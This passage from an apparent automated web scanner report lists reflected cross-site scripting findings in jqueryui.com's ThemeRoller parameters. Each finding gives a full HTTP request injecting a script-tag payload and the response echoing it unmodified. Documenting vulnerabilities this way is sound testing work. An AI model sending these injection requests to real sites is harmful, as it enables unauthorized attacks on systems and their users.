hemeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaaa4b0e"><script>alert(1)</script>698c2ece447&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e
...[SNIP]...

1.146. http://jqueryui.com/themeroller/ [borderColorHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9653f"><script>alert(1)</script>08fffe5d166 was submitted in the borderColorHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa19653f"><script>alert(1)</script>08fffe5d166&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:46 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ss.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa19653f"><script>alert(1)</script>08fffe5d166&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgT
...[SNIP]...

1.147. http://jqueryui.com/themeroller/ [borderColorHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6ee9"><script>alert(1)</script>808af5a1e60 was submitted in the borderColorHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999e6ee9"><script>alert(1)</script>808af5a1e60&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:43 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
fault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999e6ee9"><script>alert(1)</script>808af5a1e60&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgT
...[SNIP]...

1.148. http://jqueryui.com/themeroller/ [cornerRadius parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the cornerRadius request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e82d4"><script>alert(1)</script>74d896ec235 was submitted in the cornerRadius parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4pxe82d4"><script>alert(1)</script>74d896ec235&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:28 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4pxe82d4"><script>alert(1)</script>74d896ec235&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgIm
...[SNIP]...

1.149. http://jqueryui.com/themeroller/ [cornerRadiusShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the cornerRadiusShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3f65"><script>alert(1)</script>0db52cdcee0 was submitted in the cornerRadiusShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8pxd3f65"><script>alert(1)</script>0db52cdcee0 HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:27:01 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
yOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8pxd3f65"><script>alert(1)</script>0db52cdcee0" type="text/css" media="all" />
...[SNIP]...

1.150. http://jqueryui.com/themeroller/ [fcActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a38c7"><script>alert(1)</script>8771107acaa was submitted in the fcActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121a38c7"><script>alert(1)</script>8771107acaa&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:45 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ss.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121a38c7"><script>alert(1)</script>8771107acaa&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgT
...[SNIP]...

1.151. http://jqueryui.com/themeroller/ [fcContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f066a"><script>alert(1)</script>31ec4226d13 was submitted in the fcContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222f066a"><script>alert(1)</script>31ec4226d13&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:37 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
gImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222f066a"><script>alert(1)</script>31ec4226d13&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover
...[SNIP]...

1.152. http://jqueryui.com/themeroller/ [fcDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4e5f"><script>alert(1)</script>a1c0288782c was submitted in the fcDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555b4e5f"><script>alert(1)</script>a1c0288782c&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:42 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
pacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555b4e5f"><script>alert(1)</script>a1c0288782c&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.
...[SNIP]...

1.153. http://jqueryui.com/themeroller/ [fcError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d63a"><script>alert(1)</script>02028214c2d was submitted in the fcError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a6d63a"><script>alert(1)</script>02028214c2d&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:48 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
gOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a6d63a"><script>alert(1)</script>02028214c2d&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&
...[SNIP]...

1.154. http://jqueryui.com/themeroller/ [fcHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3af5a"><script>alert(1)</script>8b223fd84ef was submitted in the fcHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=2222223af5a"><script>alert(1)</script>8b223fd84ef&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:35 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=2222223af5a"><script>alert(1)</script>8b223fd84ef&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefau
...[SNIP]...

1.155. http://jqueryui.com/themeroller/ [fcHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d31ec"><script>alert(1)</script>eba326948fc was submitted in the fcHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

